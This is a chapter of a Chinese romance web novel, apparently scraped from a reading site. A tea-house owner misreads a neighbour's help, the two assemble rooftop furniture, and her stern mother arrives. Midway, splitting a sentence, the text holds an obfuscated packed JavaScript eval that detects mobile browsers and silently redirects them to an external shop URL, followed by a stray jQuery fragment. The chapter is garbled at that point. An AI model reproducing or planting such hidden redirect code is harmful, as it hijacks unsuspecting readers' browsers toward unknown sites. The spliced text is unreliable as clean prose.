早上最忙碌的时间过去后,余念念坐在柜台后,一手撑下巴,一手拿笔在摊开的小本子上涂涂画画。
一开始是在盘点茶馆最近的一些账务啊开支啊之类的,不知从第几个字开始,思路带着内容一起开始走偏。
【过来一下,站在那里。】
她边写着,边回忆白砚说这句话的表情,发现一片模糊,说这话时,白砚的脸正半隐在相机后面,声音清清淡淡,像是很大稀松平常的样子。
但他明明是不拍人物的啊!论坛里那些多年老粉信誓旦旦,似乎这是条铁律一样。
那这背影照到底是为什么?忘了?不可能吧!
【是我拍的,南坪街入口,老街茶馆三楼天台,视角不错。】
她又写下一句,这句话看上去也没什么特别的,如果由别人发出来,甚至有点冷淡的感觉。
但这是白砚主动发的。余念念后来在白塔论坛扒拉了一个多小时,一直扒拉到论坛建立之初的帖子,发现白砚果然如他们所说,极少冒头,平均一年一次的回帖频率,还都是极为官方的问候。
但昨天,日落的帖子发出后不到半小时,白砚就主动认领了。她不知道白砚是不是一直在刷新帖子内容,如果是的话,他肯定看到【颜喜迷妹】这个新ID,也看到了关于背影照的讨论,但他却忽略那段争论,直接指路了老街茶馆。
事出反常必有妖。
余念念思前想后盘来盘去,只有一个解释:白砚是真的很认真地在帮自己的茶馆活下去。
前几天,她在颜喜书画斋开玩笑说自己可能会偷偷跑路时,白砚就很认真地给出一些经营建议。
帮她拍天台日落和背影,应该是为了让她更好地利用素材打广告。
这不,在照片有热度之后,他就主动在论坛里配合,帮她引流客户。
串起来了,白砚为了自家店铺能够顺顺利利租出去,真是用心良苦啊。
余念念喝了口茶,看着小本本上的字,觉得自己以后要对白砚好一点,毕竟,他们两人的目标是一致的。
突然,她意识到什么,浑身一颤,双手捂住嘴,瞪着本子倒抽一口气。
她在干什么?!
她居然背下了白砚说过的话,一字不差地写了下来,并且逐句剖析研究?
她高考前做语文阅读理解都没这么认真过!
“写什么呢这么入神?”一道清冽的男人声音在头顶前方响起,惊得余念念浑身一个激灵。
她手忙脚乱地边把本子合上,边大声道:“你!你怎么进来没声音!”
“......”柜台前,白砚回头张望了一圈,茶馆里坐满了人,还有人在到处走动,喧闹嘈杂,“你这儿本来也不安静啊......”
余念念捂紧了小本本,瞪了他一眼,问:“你来干嘛?”
白砚顿了一两秒,回道:“爷爷让我来看看有什么需要帮忙的。”
听到这话,余念念声音柔软下来:“白爷爷费心了,还有......谢谢你在论坛里帮我宣传。”
白砚垂下眼睛:“没什么,顺手的事。”
果然,余念念心想,趁着日落拍个背影照,在论坛里说两句指路的话,对白砚来说都是顺手的事,虽然跟他平时的行事风格大相径庭,但为了他自家店铺好,也就不难理解了。
见他低着头,像是挺忧虑的样子,余念念忍不住安慰道:“放心吧,别焦虑。”
白砚:“嗯?”
余念念:“我们一起努力,会好起来的。”
白砚微微皱眉,打量她片刻,缓缓问:“你是不是,误会什么了?”
余念念正要再说什么,门口传来声招呼:“又有快递到啦!”
她应了一声,跑出去,拖了只足有一人高的大纸箱子进来。白砚走过去帮她抬起来,她也不客气,扬扬脑袋:“抬到三楼!”
——————
三楼天台已经被余念念连夜打扫干净,碎石瓦砾没了,眼下是一片平整的水泥地面。沿着其中一侧的墙角,十几个快递盒子依次排列着。
余念念数了数,叉腰道:“终于到齐了,开干!”
她捡起地上的一只工具包,掏出美工刀,开始拆第一只盒子,很快里面露出半只椅子腿。她边拆着,边跟白砚解释:“今天下午估计还会有不少年轻人来三楼蹲点日落,其他的我今天还来不及弄,先摆上桌子椅子,至少让他们不用坐在地上喝茶。”
白砚已经非常自觉地在帮她拼装,接道:“我在论坛上看到有人说挺喜欢这种原生态的氛围。”
“他们是喜欢了,我昨天可是碎了三只茶杯!”余念念心痛道,“而且,为了年轻客群的长远开发,我也需要好好规划一下三楼的布局。先摆上桌子椅子,可以坐着喝茶聊天等日落,过几天再摆上几台自动售卖机卖卖零食,接下来再做做调研看他们还想要什么,我再做针对性的投入。”
白砚默默装着一只桌子腿,余念念观察了一下他的脸色,说道:“所以你看,我真的有在努力经营茶馆,对吧?”
白砚抬头看她,像是不理解她为什么突然冒出来这么一句没头没尾的话。
“我昨天晚上算过了,年轻客群的可经营空间非常大,如果经营得好,我很有希望在半年内实现盈利,你就别焦虑你们家店铺租不出去了。”
白砚:“......你刚刚说一堆奇奇怪怪的话是因为这个?你觉得我是因为怕店铺租不出去做这些事?”
余念念:“我哪有说什么奇奇怪怪的话?我是理性分析有理有据!你难道不是因为这个?”
白砚的表情像是被气到心梗,他缓了半分钟,才站起来,走到余念念面前,蹲下来,盯着她的眼睛,问:“余念念,你大脑某些部位是不是没发育完全?”
余念念:“......”
白砚是不是在骂人?天仙居然不毒舌,改成面不改色地人身攻击了?!
余念念一时之间完全摸不准他的心理状态和行为动机,呆楞了半天,问:“你说清楚,什么部位?!”
白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997224|148187||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
砚默默与她对视,胸膛肉眼可见地起伏了片刻,接着,像是把什么憋了回去,硬邦邦道:“对不起,我收回。”
余念念大为无语,这是道歉的态度?而且他明显是带着气的,也不知道在气什么,亏她还对他娇娇软软的样子心痒过,果然短暂的温柔是假象,坚硬毒舌才是他的本体!
她气呼呼地腹谤,手下失了准头,螺丝刀直直戳到虎口上,疼得“嘶”了一声。
“怎么了?”白砚很快走过来蹲下,看了看微微渗血的伤口,眉头皱了起来。
“没什么,小伤。”余念念冷冰冰抽回手。
白砚轻轻叹口气,从她手里接过螺丝刀放下,拉着她的胳膊站了起来,语气柔和:“我说错了,你的大脑非常完美,你的经营方案令人折服。”
余念念脸色板不住,转向一边笑出来。
“走吧,下去洗洗,不然伤口会感染的。”
余念念顺从地站起身,往楼梯的方向走,白砚跟在她身后,又说道:“一会儿我一个人上来安装就好,你就在下面好好想你的经营方案吧。”
余念念随口接了句:“我岂不是又要欠你一个人情了。”
身后,白砚叹了口气——他今天一早上叹气的次数似乎有点多——像是自言自语般的低声道:“又有什么用呢……”
余念念装没听到——男人的心思对她而言太难猜,她白费一早上果然没猜明白——三两步下了楼梯,在一楼楼梯口迎面撞上了小跑过来的小优。
“怎么了,慌慌张张的?”余念念问。
小优伸手指了指身后,小声道:“来了个客人,气势很强硬,一进门就说要找老板。”
“找老板?不会是来了两次的那个奇怪男人吧?”
“不是,是个中年女人,”小优回头瞥了眼,像是怕被听到,凑过来,音量降得更低,“气势像慈禧太后!”
余念念点点头,拐出楼道,就要往茶馆大堂里走,被白砚从后面一把拽住,推到厨房里:“先洗手。”
她于是匆匆洗了手,在身上随意抹了两下,反正刚才搬东西衣服也脏了。
“哪位客人要找老板?”她边扬声问着,边走进大堂——气势不能输。
下一秒,她看到柜台前立着的身影,声音一下子缩小如蚊蝇,脚步瞬间僵硬像被人点了穴,甚至往后退了两步,撞到了身后跟着的白砚。
柜台前的中年女人梳着一丝不苟的发髻,挽着一只黑色小皮包,穿着一身冷色调黑白灰,听到声音,扭过头来,锐利的眼神直直落在余念念身上,将她从头到脚来回检视了几遍,边看边皱起眉头,脸色写满了嫌弃。
小优形容得极对,气势像慈禧太后。
跟她一比,余念念输得毫无悬念。
余念念咽了口口水,一步一顿地走过去,期期艾艾喊了声:“妈。”
女人没应,从鼻子里冷冷地哼了一声。
“妈……您怎么来了……”
“哼,我不来,等着被你和你爸合着伙瞒到过年么?”